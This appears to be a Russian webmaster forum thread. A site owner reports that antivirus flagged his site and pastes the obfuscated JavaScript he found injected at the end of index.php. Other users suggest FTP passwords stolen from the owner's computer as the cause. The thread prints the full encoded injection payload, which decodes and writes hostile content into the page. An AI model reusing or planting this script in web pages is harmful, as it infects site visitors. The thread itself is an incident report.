SeoChase

Pavlus

Сегодня обнаружил что каспер ругается на один из моих сайтов на этого http://www.viruslist.com/ru/search?VN=DoS.JS.Dframe.f&referer=kav зверя

Хост под управлением cPanel X v2.6.0

Смотрим файл index.php
Последней строкой идет код:

<script>document.write(unescape("%3Cscript%3Etry%20%7Bvar%20cVp%3D%27IIQIHQIPQIhQIkQIoQIyQIaQIDQInQIfQI5QIqQIXQI8QIRQImQICQIeQIcQIzQIrQItQIxQIbQIpQI7QIYQI9QIsQIiQIJQIOQI6QIWQIAQIGQIlQIjQIdQIFQIKQINQI4QIBQI3QIUQIwQILQIVQIMQISQIZQIgQHIQHHQHPQHhQHkQHoQHyQHaQHDQHnQHfQH5QHqQHXQH8QHR%27%3Bvar%20iyd%3DcVp.substr%282%2C1%29%2CTsD%3DArray%283671%5E3823%2C6894%5E6681%2C11644%5E11675%2C7261%5E7339%2CCsP%28%27237%27%29%2C6587%5E6479%2C29905%5E29729%2C29829%5E29759%2C6250%5E6371%2C721%5E607%2CCsP%28%27226%27%29%2CCsP%28%27241%27%29%2CCsP%28%27234%27%29%2CCsP%28%27235%27%29%2C1169%5E1077%2CCsP%28%27253%27%29%2CCsP%28%27219%27%29%2CCsP%28%27172%27%29%2C9431%5E9343%2C25473%5E25459%2CCsP%28%27173%27%29%2CCsP%28%27255%27%29%2CCsP%28%27229%27%29%2CCsP%28%27185%27%29%2C28322%5E28227%2C17462%5E17605%2C19285%5E19349%2C10772%5E10923%2C25823%5E25717%2C29885%5E29805%2C30138%5E30035%2C29306%5E29337%2C7828%5E7739%2CCsP%28%27183%27%29%2C13229%5E13087%2CCsP%28%27180%27%29%2C9565%5E9715%2C22197%5E22019%2CCsP%28%27176%27%29%2C31145%5E31049%2CCsP%28%27239%27%29%2CCsP%28%27166%27%29%2CCsP%28%27252%27%29%2CCsP%28%27195%27%29%2CCsP%28%27201%27%29%2C5226%5E5309%2C762%5E515%2C1910%5E1987%2C31195%5E31027%2CCsP%28%27171%27%29%2C5097%5E4869%2CCsP%28%27203%27%29%2C14318%5E14151%2C7137%5E7007%2CCsP%28%27165%27%29%2C14806%5E14701%2CCsP%28%27223%27%29%2C17083%5E16993%2CCsP%28%27254%27%29%2CCsP%28%27189%27%29%2C15088%5E14889%2C4361%5E4561%2CCsP%28%27193%27%29%2CCsP%28%27197%27%29%2CCsP%28%27230%27%29%2CCsP%28%27198%27%29%2C6252%5E6315%2CCsP%28%27177%27%29%2C20938%5E20857%2CCsP%28%27188%27%29%29%3Bvar%20vmk%2CCbO%3Bvar%20rdm%2CRhI%3D%27IIIHIPIhIkIoIyIaIDInIfI5IqIPIyIkIXIqI8IhIHIRIHImIHIPICIPIqIeIPIcIzIrI8IcItIhI8IyIxI8IqIbIpI8I7ItIyIbICIzIYI8IcItIhI8IbIxI8IqIbIpI8I7ItIyIbICIzIYI8IbI9IHIbIyIsIkIiIbICIyI9IJIbIyIsIkIiIbICIzIOI6IWIAIAIAIAIAIGIlIjIzIYI8IdIXIPI5IiIbIqIyI9IPIXIXIFIkIbI8IxI8IPIqIOIKIxIKIOIbIHIPItIoIbICIPIcIzIOIKIYIbINIoIkIhIbIHIxIKIOIbI9IyIXI4IBIsI3IyIhIkIqIJICIzIYI8IUIDInIcItIhI8IPIqI8IxI8IKIwIhIHIpI6IXIwIdIKIeIPIcI8IxI8IKIwIKIeIHIbIxIKIHIwI9IhIXILILIHIRIHIyIbIiIHI9IkIqIfIXIKIeIoIxIKIVIMIyIiILIVIKIYIDInIkIfICIdIXIPI5IiIbIqIyI9IPIXIXIFIkIbI9IkIqIdIbINISIfICIPIqIOIKIKIOIKIxIKIOIPIcIOIKIKIzI8IxIxI8IZIwIzI8IrIDInIcItIhI8I5IhILI8IxI8IKIMIyIyIoIgIVIVIKI8IOI8ICIdIXIPI5IiIbIqIyI9ILIXIPItIyIkIXIqI9IMIXIHIyI8HIIxI8IKIKI8HHI8IKIKI8IgI8IhIHIRIHImIhIHICIzIzI8IOI8IdIXIPI5IiIbIqIyI9ILIXIPItIyIkIXIqI9IMIXIHIyI9IhIbIoILItIPIbICIVHPHhItIZHkIAIZHoI9IZHyIVIeI8IKI9IKIzI9IhIbIoILItIPIbICIVHaI9IOIVIeI8IKI9IKIzI8IOI8IKI9IKI8IOI8IhIHIRIHImIhIHICIzI8IOI8IKI9IKI8IOI8IHIbI8IOI8IoIYIDInIcItIhI8IXI8IxI8IdIXIPI5IiIbIqIyI9IPIhIbItIyIbHDILIbIiIbIqIyICIKIkIfIhItIiIbIKIzIYIXI9IHIbIyHnIyIyIhIkHfI5IyIbICIKIHIhIPIKIeI8I5IhILIzIYIDInIXI9IfIhItIiIbH5IXIhIdIbIhIxIAIYI8IXI9IpIkIdIyIMIxIwIYI8IXI9IMIbIkIJIMIyIxIwIYI8IXI9IHIyIRILIbI9IdIkIHIoILItIRIxIKIqIXIqIbIKIYI8IDInIyIhIRI8IrI8IdIXIPI5IiIbIqIyI9HfIXIdIRI9ItIoIoIbIqIdHqIMIkILIdICIXIzIYI8IhIHIRIHImIHIPICIPIqIeIPIcIzIYIUIDInIPItIyIPIMICIbIzIrIdIXIPI5IiIbIqIyI9IpIhIkIyIbICIKIIIMIyIiILIaIIHfIXIdIRIaIIIVHfIXIdIRIaIIIVIMIyIiILIaIKIzIYIdIXIPI5IiIbIqIyI9HfIXIdIRI9ItIoIoIbIqIdHqIMIkILIdICIXIzIYI8IhIHIRIHImIHIPICIPIqIeIPIcIzIYIUIUIDInIfI5IqIPIyIkIXIqI8IhIHIRIHImIhIHICIzIrI8IcItIhI8ILIxIlIjIeIPIxIKIAIwIlI6IjHXIWH8HRHoIAItHfIPIdIbIfIKIeIXIxIKIKIYI8IfIXIhICIkIxIAIYI8IkI8III8ILIYI8IkIOIOIzI8IXI8IOIxI8IPI9IHI5HfIHIyIhICIBItIyIMI9IfILIXIXIhICIBItIyIMI9IhItIqIdIXIiICIzIGIPI9ILIbIqIJIyIMIzIeIwIeIwIzIYI8IhIbIyI5IhIqI8IXIYI8IUIDInIIIVIHIPIhIkIoIyIa%27%3Bvar%20TeO%3DString%28%29%3BcVp%3DcVp.split%28iyd%29%3Bfor%28vmk%3D0%3Bvmk%3CRhI.length%3Bvmk+%3D2%29%7Brdm%3DRhI.substr%28vmk%2C2%29%3Bfor%28CbO%3D0%3BCbO%3CcVp.length%3BCbO++%29%7Bif%28cVp%5BCbO%5D%3D%3Drdm%29break%3B%7D%20TeO+%3DString.fromCharCode%28TsD%5BCbO%5D%5E132%29%3B%7Dfunction%20CsP%28hZl%29%7Breturn%20parseInt%28hZl%29%7Ddocument.write%28TeO%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</script>

Его естесстно киляем
_________________
www.forum.promote.by - мертвый белорусский клуб оптимизаторов. аминь.

r@@t · Пенни Зарегистрирован: 08.07.2007 Сообщения: 4

а на каком двиге шоп? а то парюсь тут с osCommerce. Иль там пофик какой двиг? Confused

Svift

2Pavlus фтп-пароли в тотал командере или других фтп-агентах на своем компе хранишь? если да, то похоже у тебя с компа могли пароли утащить...
_________________
Svift.org | Не все ссылки одинаково полезны...
Нужны правильные ссылки? Приглашения в PromoText.ru